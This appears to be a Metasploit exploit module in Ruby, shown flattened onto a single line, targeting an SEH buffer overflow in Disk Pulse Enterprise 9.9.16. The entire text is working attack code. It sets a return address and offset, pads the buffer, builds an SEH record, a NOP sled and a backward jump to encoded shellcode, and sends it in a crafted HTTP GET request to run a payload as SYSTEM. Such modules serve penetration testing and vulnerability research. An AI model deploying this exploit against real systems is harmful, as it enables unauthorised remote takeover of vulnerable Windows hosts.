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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Disk Pulse Enterprise GET Buffer Overflow', 'Description'=> %q( This module exploits an SEH buffer overflow in Disk Pulse Enterprise 9.9.16. If a malicious user sends a crafted HTTP GET request it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account. ), 'License'=> MSF_LICENSE, 'Author' => [ 'Chance Johnson', # msf module - albatross@loftwing.net 'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com ], 'References' => [ [ 'EDB', '42560' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload'=> { 'EncoderType' => "alpha_mixed", 'BadChars' => "\x00\x0a\x0d\x26" }, 'Targets'=> [ [ 'Disk Pulse Enterprise 9.9.16', { 'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll 'Offset' => 2492 }] ], 'Privileged' => true, 'DisclosureDate' => 'Aug 25 2017', 'DefaultTarget'=> 0)) register_options([Opt::RPORT(80)]) end def check res = send_request_cgi( 'uri'=>'/', 'method' =>'GET' ) if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit connect print_status("Generating exploit...") exp = payload.encoded exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset exp << generate_seh_record(target.ret) exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start exp << 'B' * (5000 - exp.length) # padding print_status("Sending exploit...") send_request_cgi( 'uri' =>'/../' + exp, 'method' =>'GET', 'host' =>'4.2.2.2', 'connection' =>'keep-alive' ) handler disconnect end end |
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